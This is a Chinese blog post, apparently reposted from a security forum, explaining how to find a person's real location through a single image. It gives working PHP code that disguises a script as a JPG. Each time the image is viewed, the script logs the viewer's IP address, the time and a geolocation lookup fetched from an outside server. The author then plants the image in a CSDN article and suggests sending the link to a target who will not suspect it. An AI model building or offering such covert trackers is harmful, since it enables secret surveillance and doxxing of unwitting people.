• 通过一张图片定位真实地址


    <?php
        header('Content-Type:text/html;charset=utf-8');
        function get_addr($_ip) { 
            $_ip=array("X-Forwarded-For:{$_ip}");
                //初始化curl模块 
            $curl = curl_init();
            //需要获取的URL地址,也可以在 curl_init() 函数中设置。
            curl_setopt($curl, CURLOPT_URL, 'http://ip.zishuo.net/');
            //在启用 CURLOPT_RETURNTRANSFER 的时候,返回原生的(Raw)输出。
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            //设置"User-Agent: "头
            curl_setopt($curl, CURLOPT_USERAGENT  , 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36');
            curl_setopt($curl, CURLOPT_HTTPHEADER, $_ip);
            //执行cURL
            curl_exec($curl); 
            //关闭cURL资源,并且释放系统资源 
            $retn=curl_exec($curl); 
            curl_close($curl);
            return json_decode($retn);
        } 
        $_addr=get_addr($_GET['ip']);
        if ($_addr->code=='200') {
            echo $_addr->desc.'->'.$_addr->position;
        }elseif($_addr->code=='404'){
            echo $_addr->message;
        }else{
            echo '异常!';
        }
     
    ?>

    本来到这儿也就没什么事情了,需要的时候查一下就可以,可是我又想到了一个好玩儿都方法,毕竟自己获取IP还是不方便,想到前段时间在REEBUF看到的一篇文章-“如何通过一张照片来获取ip地址?”,地址是http://www.freebuf.com/articles/database/101233.html,我也可以通过这样的方法来自动传入IP地址嘛,这样的话别人一浏览图片我就能获取到地址了,说干就干,继续写代码。
    PHP代码:
    <?php
    header('Content-Type:text/html;charset=utf-8');
    $_ip=$_SERVER['REMOTE_ADDR'];
    $_ip_addr=file_get_contents('http://x.x.x.x/get_ip.php?ip='.$_ip);
    $fh = fopen('ip.txt', 'a');
    fwrite($fh, 'IP:'.$_ip.'  Time:'.date("Y-m-d H:i",time()+28800).'  Address:'.$_ip_addr."
    ");
    fclose($fh);
    $im = imagecreatefromjpeg("n00b.png");
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
    ?>
    后缀改成jpg,然后在服务器上一通折腾,功能实现了。最后就是把这个图片插入到一个安全的站点上面,我想到了CSDN,就像这样
    <ignore_js_op>
    然后发表文章,只有有人访问这篇文章,就会出现这一幕(当然要是什么时候这个网站不返回实际地址那也就失效咯)
    <ignore_js_op>

    2.png (50.82 KB, 下载次数: 0)

    下载附件

    6 天前 上传

     
    现在想要知道某个人都地址好像很简单了诶,发给他一个博客链接他也不会怀疑什么吧….
    其实这个小功能完全没有什么亮点,都是站在各位前辈都肩膀上添了点砖瓦而已。
     
    https://forum.90sec.org/forum.php?mod=viewthread&tid=9438
  • 相关阅读:
    题解 CF171G 【Mysterious numbers
    题解 P1157 【组合的输出】
    题解 P3955 【图书管理员】
    题解 P2036 【Perket】
    题解 CF837A 【Text Volume】
    题解 CF791A 【Bear and Big Brother】
    题解 CF747A 【Display Size】
    题解 P1332 【血色先锋队】
    题解 P2660 【zzc 种田】
    题解 P4470 【[BJWC2018]售票】
  • 原文地址:https://www.cnblogs.com/hookjoy/p/5533036.html
Copyright © 2020-2023  润新知